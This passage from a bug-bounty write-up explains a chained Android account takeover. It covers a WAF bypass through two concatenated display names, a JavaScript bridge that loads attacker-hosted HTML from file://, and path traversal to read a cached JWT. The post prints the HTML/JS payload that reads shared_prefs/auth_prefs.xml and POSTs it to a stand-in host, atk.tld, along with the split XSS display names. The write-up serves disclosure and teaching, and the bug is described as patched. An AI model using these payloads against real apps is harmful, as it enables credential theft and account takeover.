<p>They only become a payload when the <em>server</em> concatenates them, in the <em>renderer’s</em> DOM, on the <em>victim’s</em> device, after the WAF’s job is done.</p>

<p>The WAF can’t see the merge. The merge isn’t on the wire. The merge is downstream.</p>

<hr />

<h2 id="last-gate">Last gate</h2>

<p>But the WAF still blocks the obvious sinks <em>inside</em> the right-hand side. <code class="language-plaintext highlighter-rouge">alert</code>. <code class="language-plaintext highlighter-rouge">prompt</code>. <code class="language-plaintext highlighter-rouge">print()</code>. <code class="language-plaintext highlighter-rouge">fetch</code> to suspicious hosts. <code class="language-plaintext highlighter-rouge">document.cookie</code>. Signature-based piece of shit.</p>

<p>So whatever sits inside my <code class="language-plaintext highlighter-rouge">&amp; ___()</code> expression has to be something the WAF has <em>never heard of</em>. Something application-specific. Something only the app itself knows the name of.</p>

<hr />

<h2 id="welcome-back-home--it-was-js-bridges-all-along">Welcome back home — it was JS bridges all along</h2>

<p>The reason I talked about Chrome DevTools at the start pays off here.</p>

<p>In hybrid Android apps, the WebView often has <strong>JavaScript bridges</strong> — native methods exposed to the JS context via <code class="language-plaintext highlighter-rouge">@JavascriptInterface</code>. To find them: pull the APK with JADX, search the codebase for <code class="language-plaintext highlighter-rouge">@JavascriptInterface</code> annotations, get back the bridge class name and the methods it exposes.</p>

<p>Then on the live WebView, in Chrome DevTools, just type the bridge class name into the console. Autocomplete shows you every method exposed at runtime — much faster than reading the JADX output, and you catch dynamically-attached interfaces that JADX misses entirely.</p>

<p>I scrolled through the methods. Most were boring — analytics events, share sheets, dismissing modals. One stood out:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@JavascriptInterface</span>
<span class="k">fun</span> <span class="nf">loadHtml</span><span class="p">(</span><span class="n">url</span><span class="p">:</span> <span class="nc">String</span><span class="p">)</span> <span class="p">{</span> <span class="o">..</span><span class="p">.</span> <span class="p">}</span>
</code></pre></div></div>

<p>So we have a WebView that’s supposed to be controlled by the app only. Native code calls <code class="language-plaintext highlighter-rouge">loadHtml(internalUrl)</code>, the WebView fetches the HTML, the WebView renders it. Standard hybrid-app pattern for things like FAQ pages, T&amp;C screens, in-app marketing content.</p>

<p>Two things make this an attack vector.</p>

<p><strong>First</strong>, the URL parameter is attacker-controlled. The bridge will happily download whatever URL we pass it. There’s no allowlist. There’s no signature check on the response. We can host an HTML file anywhere on the internet, hand the URL to <code class="language-plaintext highlighter-rouge">loadHtml</code>, and the app will fetch and render it.</p>

<p><strong>Second</strong> — and this is the part that turns a “the WebView shows an attacker’s HTML” bug into a critical — the bridge renders the downloaded file using the <strong><code class="language-plaintext highlighter-rouge">file://</code> scheme</strong>, after extracting it into the app’s private directory. So our HTML doesn’t run in the browser context like a normal web page. It runs as a <em>local file inside the app’s sandbox</em>.</p>

<p>That changes everything. From inside a <code class="language-plaintext highlighter-rouge">file://</code> origin in this WebView, JavaScript can <code class="language-plaintext highlighter-rouge">XMLHttpRequest</code> other files on the local filesystem (provided the WebView has <code class="language-plaintext highlighter-rouge">allowFileAccessFromFileURLs</code> enabled — and this app, predictably, did). No CORS preflight. No same-origin protections against the local filesystem. No network round trip the WAF can inspect. We’re inside the application’s data directory, and we have a JS execution context that can read whatever’s there.</p>

<p>So the final piece of the payload is dead simple. Host this on a server we control:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;body&gt;</span>
<span class="nt">&lt;script&gt;</span>
<span class="kd">const</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">../../../../shared_prefs/auth_prefs.xml</span><span class="dl">'</span><span class="p">,</span> <span class="kc">false</span><span class="p">);</span>
<span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">();</span>

<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">//atk.tld/x</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">xhr</span><span class="p">.</span><span class="nx">responseText</span>
<span class="p">});</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>That’s it. Path traversal from the bundle directory back up to <code class="language-plaintext highlighter-rouge">shared_prefs/</code>. Read the XML file the app uses to cache its auth state. POST the raw contents to our server. The XML contains the JWT in cleartext because the app stored it in SharedPreferences without encrypting (extremely common — <code class="language-plaintext highlighter-rouge">EncryptedSharedPreferences</code> is a relatively recent API and a lot of codebases haven’t migrated).</p>

<p>No CORS. No SOP for local files. No WAF in the middle. We’re in the app’s own codebase, sending a beacon from the inside to the outside world, saying <strong>we are in.</strong></p>

<p>That call goes in the right-hand side of our bitwise expression. The WAF has zero signature for it — how could it? <code class="language-plaintext highlighter-rouge">WellnessBridge.loadHtml</code> is a private symbol that exists only inside the app’s compiled binary. The WAF has never seen this function name in its life. It’s not on any denylist anywhere in the world.</p>

<hr />

<h2 id="final-payload">Final payload</h2>

<p>Two display names, each under 80 characters, each individually passing the WAF:</p>

<table>
  <thead>
    <tr>
      <th>Account</th>
      <th>Display name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>A</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;a href=javascript:1</code></td>
    </tr>
    <tr>
      <td>B</td>
      <td><code class="language-plaintext highlighter-rouge">&amp;WellnessBridge.loadHtml('//atk.tld/p.html')'&gt;tap</code></td>
    </tr>
  </tbody>
</table>

<p>Merged in the rendered DOM:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">javascript:1</span> <span class="err">&amp;</span> <span class="na">WellnessBridge.loadHtml</span><span class="err">('//</span><span class="na">atk.tld</span><span class="err">/</span><span class="na">p.html</span><span class="err">')'</span><span class="nt">&gt;</span>tap
</code></pre></div></div>

<p>Victim opens the group page. Banner renders. Victim taps the link. The <code class="language-plaintext highlighter-rouge">href</code> evaluates as JavaScript. The <code class="language-plaintext highlighter-rouge">&amp;</code> is a bitwise AND — both sides evaluate. The right-hand side fires <code class="language-plaintext highlighter-rouge">loadHtml</code> with our URL. The bridge downloads our HTML, drops it into the app’s private bundle directory, opens it in a <code class="language-plaintext highlighter-rouge">file://</code> WebView. Our script runs, traverses up to <code class="language-plaintext highlighter-rouge">shared_prefs/</code>, reads the JWT off disk, POSTs it to our server.</p>

<p>One tap. Account taken over.</p>

<hr />

<h2 id="why-the-chain-only-works-because-of-all-five-things">Why the chain only works because of all five things</h2>

<p>The chain only fires because:</p>

<ol>
  <li>The <strong>business function</strong> ranked users by point total and rendered two of them in a banner — meaning I could control both halves.</li>
  <li>The <strong>points were earnable from trivial actions</strong> (logins, email confirmations, profile photo updates) — meaning I could deterministically pair my own accounts in the banner without doing any real activity.</li>
  <li>The <strong>renderer concatenated the names with <code class="language-plaintext highlighter-rouge">&amp;</code></strong> — meaning the joining character had different parser semantics in the two contexts (HTML attribute vs JS expression).</li>
  <li>The <strong>WAF inspected fields independently</strong> — meaning the merge it never saw.</li>
  <li>The <strong>JavaScript bridge accepted an attacker-controlled URL and rendered it from <code class="language-plaintext highlighter-rouge">file://</code></strong> — giving local-filesystem read access to the app’s private storage, which is where the auth token was cached in cleartext.</li>
</ol>

<p>Pull any one of those out and the chain dies. None of them, alone, is critical.</p>

<hr />

<h2 id="three-takeaways">Three takeaways</h2>

<p><strong>1. Bend the responses.</strong> Read what the API actually returns, not what the UI shows. IDs in responses are levers — every ID is a “what happens if I put a different one here” question. Names rendered through ID lookups mean there’s a client-side function fetching them, which means there’s a place where unsanitized data lands in the DOM.</p>

<p><strong>2. It’s not the vulnerability type, it’s the impact.</strong> DOM clobbering, CSS injection, dangling markup — none of these are XSS. All of them are critical in chains. Keep every primitive on the shelf — today’s wrong key is tomorrow’s right one.</p>

<p><strong>3. Length limits are a comforting lie.</strong> An 80-character field is 80 characters <em>to the validator</em>. If the application joins fields downstream, the effective length is <code class="language-plaintext highlighter-rouge">n × 80</code>. Find the join. Look at the joining character. Ask if it has meaning in the surrounding context — <em>and</em> in any downstream context that re-parses.</p>

<hr />

<p>Reported. Patched. Bounty paid. I can now sleep in peace.</p>

<p>Somewhere — in some app I downloaded last Tuesday — there is something that I will lose sleep over again.</p>]]></content><author><name>Abdelrahman Amhawy</name></author><category term="writeups" /><category term="bug-bounty" /><category term="mobile" /><category term="android" /><category term="webview" /><category term="xss" /><summary type="html"><![CDATA[Dangling markup, DOM clobbering, CSS injection, and a JS bridge — five low-severity primitives, chained into one Android account takeover.]]></summary></entry></feed>